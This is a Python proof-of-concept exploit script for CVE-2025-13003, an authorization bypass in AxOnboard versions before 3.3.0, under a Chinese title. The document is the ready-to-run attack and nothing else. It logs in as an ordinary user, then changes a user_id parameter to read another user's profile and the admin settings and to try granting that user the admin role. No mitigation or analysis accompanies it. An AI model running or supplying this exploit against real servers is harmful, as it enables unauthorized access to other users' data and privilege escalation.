CVE-2025-13003 AxOnboard授权绕过漏洞

# CVE-2025-13003 PoC - AxOnboard Authorization Bypass # Vulnerability: Authorization Bypass Through User-Controlled Key # Affected: AxOnboard < 3.3.0 import requests import json TARGET_URL = "http://target-axboard-server.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "AttackerPass123!" TARGET_USER_ID = "1" # Target admin user ID def exploit_authorization_bypass(): """ This PoC demonstrates the authorization bypass vulnerability in AxOnboard. The vulnerability allows an attacker to manipulate user-controlled identifiers to gain unauthorized access to other users' resources. """ session = requests.Session() # Step 1: Authenticate as regular user login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as regular user") # Step 2: Access own resources (normal behavior) response = session.get(f"{TARGET_URL}/api/user/profile") print(f"[+] Own profile: {response.json()}") # Step 3: Exploit - Modify user_id parameter to access other user's data # This is the core of the authorization bypass vulnerability malicious_requests = [ # Access different user profile by manipulating user_id {"endpoint": "/api/users/profile", "params": {"user_id": TARGET_USER_ID}}, # Access admin settings {"endpoint": "/api/admin/settings", "params": {"user_id": TARGET_USER_ID}}, # Modify another user's data {"endpoint": "/api/users/update", "params": {"user_id": TARGET_USER_ID, "role": "admin"}} ] for req in malicious_requests: response = session.get( f"{TARGET_URL}{req['endpoint']}", params=req['params'] ) if response.status_code == 200: print(f"[SUCCESS] Accessed {req['endpoint']} with manipulated user_id") print(f"Response: {response.text}") else: print(f"[FAILED] Access denied for {req['endpoint']}") return True if __name__ == "__main__": print("="*60) print("CVE-2025-13003 AxOnboard Authorization Bypass PoC") print("="*60) exploit_authorization_bypass()